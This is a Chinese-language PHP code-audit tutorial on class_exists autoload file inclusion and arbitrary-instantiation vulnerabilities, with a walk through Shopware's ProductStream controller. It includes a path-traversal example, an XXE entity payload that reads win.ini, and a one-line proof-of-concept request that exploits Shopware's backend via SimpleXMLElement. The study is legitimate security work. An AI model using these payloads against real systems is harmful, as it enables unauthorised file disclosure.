• PHP审计之class_exists与任意实例化漏洞


    PHP审计之class_exists与任意实例化漏洞

    前言

    发现PHP的一些漏洞函数挺有意思,跟着七月火师傅的文章来学习.

    class_exists函数

    函数说明

    class_exists :(PHP 4, PHP 5, PHP 7)

    功能 :检查类是否已定义

    定义bool class_exists ( string $class_name[, bool $autoload = true ] )

    $class_name 为类的名字,在匹配的时候不区分大小写。默认情况下 $autoloadtrue,当 $autoloadtrue 时,会自动加载本程序中的 __autoload 函数;当 $autoloadfalse 时,则不调用 __autoload 函数。

    函数漏洞

    class_exists() 函数来判断用户传过来的控制器是否存在,默认情况下,如果程序存在 __autoload 函数,那么在使用 class_exists() 函数就会自动调用本程序中的 __autoload 函数,这题的文件包含漏洞就出现在这个地方。攻击者可以使用 路径穿越 来包含任意文件,当然使用路径穿越符号的前提是 PHP5~5.3(包含5.3版本)版本 之间才可以。例如类名为: ../../../../etc/passwd 的查找,将查看passwd文件内容

    实例分析

    结合上面的class_exists函数漏洞, 来看到上面的代码。

    接受值过来$controllerName过来然后调用class_exists将该变量传入,而class_exists$autoload参数值并未进行设置,该参数默认为True,则会自动调用本类中的__autoload函数,这个函数恰巧进行了文件包含,即任意文件包含漏洞。

    看到第九行代码,这个位置new了一个接受过来的参数值,则可用实现任意的类实例化。但是在该代码中没有一些能直接在__construct构造函数中实现命令执行或其他操作的类。

    所以这里利用SimpleXMLElement类来实现实例化中实现一个XXE。

    看到demo

    <?php 
    $xml = '<?xml version="1.0"?>
    <!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
    <catalog>
       <core id="test101">
          <author>John, Doe</author>
          <title>I love XML</title>
          <category>Computers</category>
          <price>9.99</price>
          <date>2018-10-01</date>
          <description>&xxe;</description>
       </core>
    </catalog>';
    $xxe = new SimpleXMLElement($xml);
    var_dump($xxe)
    ?>
        
    //结果:
        object(SimpleXMLElement)#1 (1) { ["core"]=> object(SimpleXMLElement)#2 (7) { ["@attributes"]=> array(1) { ["id"]=> string(7) "test101" } ["author"]=> string(9) "John, Doe" ["title"]=> string(10) "I love XML" ["category"]=> string(9) "Computers" ["price"]=> string(4) "9.99" ["date"]=> string(10) "2018-10-01" ["description"]=> object(SimpleXMLElement)#3 (1) { ["xxe"]=> object(SimpleXMLElement)#4 (1) { ["xxe"]=> string(85) "; for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1 " } } } }
     
    

    win.ini内容被读取。

    代码审计

    这里拿Shopware 来做一个审计

    漏洞点在在 engineShopwareControllersBackendProductStream.phploadPreviewAction方法中。

    路由访问则/Backend/ProductStream/loadPreviewAction

    看到loadPreviewAction方法代码

        public function loadPreviewAction()
        {
            $conditions = $this->Request()->getParam('conditions');
            $conditions = json_decode($conditions, true);
    
            $sorting = $this->Request()->getParam('sort');
    
            $criteria = new Criteria();
    
            /** @var RepositoryInterface $streamRepo */
            $streamRepo = $this->get('shopware_product_stream.repository');
            $sorting = $streamRepo->unserialize($sorting);
    
            foreach ($sorting as $sort) {
                $criteria->addSorting($sort);
            }
    
            $conditions = $streamRepo->unserialize($conditions);
    

    接收sort参数的值然后进行json_decode,而后

    这里获取shopware_product_stream.repository内容,然后调用unserialize

        public function unserialize($serializedConditions)
        {
            return $this->reflector->unserialize($serializedConditions, 'Serialization error in Product stream');
        }
    

    跟踪这个unserialize

    LogawareReflectionHelper.phpunserialize代码

     public function unserialize($serialized, $errorSource)
        {
            $classes = [];
    
            foreach ($serialized as $className => $arguments) {
                $className = explode('|', $className);
                $className = $className[0];
    
                try {
                    $classes[] = $this->reflector->createInstanceFromNamedArguments($className, $arguments);
                } catch (Exception $e) {
                    $this->logger->critical($errorSource . ': ' . $e->getMessage());
                }
            }
    
            return $classes;
        }
    

    遍历$serialized,这个$serialized是我们sort传递并且进行json_deocode解密后的数据。

    随后调用createInstanceFromNamedArguments,跟进了一下方法,发现就是反射创建了一个实例化的对象。和Java里面的反射感觉上差不多。

     public function createInstanceFromNamedArguments($className, $arguments)
        {
            $reflectionClass = new ReflectionClass($className);
    
            if (!$reflectionClass->getConstructor()) {
                return $reflectionClass->newInstance();
            }
    
            $constructorParams = $reflectionClass->getConstructor()->getParameters();
    
            $newParams = [];
            foreach ($constructorParams as $constructorParam) {
                $paramName = $constructorParam->getName();
    
                if (!isset($arguments[$paramName])) {
                    if (!$constructorParam->isOptional()) {
                        throw new RuntimeException(sprintf("Required constructor Parameter Missing: '$%s'.", $paramName));
                    }
                    $newParams[] = $constructorParam->getDefaultValue();
    
                    continue;
                }
    
                $newParams[] = $arguments[$paramName];
            }
    
            return $reflectionClass->newInstanceArgs($newParams);
        }
    

    分析完以上的,其实显而易见和上面的实例一样是一个任意实例化漏洞。

    那么也可以借助SimpleXMLElement类来实现一个XXE的效果,当然也可以去寻找一些__construct函数中有做其他操作例如命令执行或文件读取的也可以利用上。

    POC如下:

    /backend/ProductStream/loadPreview?_dc=1575439441940&sort={"SimpleXMLElement":{"data":"http://localhost/xxe.xml","options":2,"data_is_url":1,"ns":"","is_prefix":0}}&conditions=%7B%7D&shopId=1&currencyId=1&customerGroupKey=EK&page=1&start=0&limit=25
    

    参考文章

    代码审计Day3 - 实例化任意对象漏洞

    php代码审计危险函数总结

  • 相关阅读:
    Linux Shell tr 命令详解
    Shell统计每个单词出现的个数
    启明4-29团队进度博客
    启明4-28团队进度博客
    启明4-27团队进度博客
    启明4-26团队进度博客
    启明4-25团队进度博客
    启明4-24团队博客
    每日总结8
    启明4-23团队进度博客
  • 原文地址:https://www.cnblogs.com/nice0e3/p/15383699.html
Copyright © 2020-2023  润新知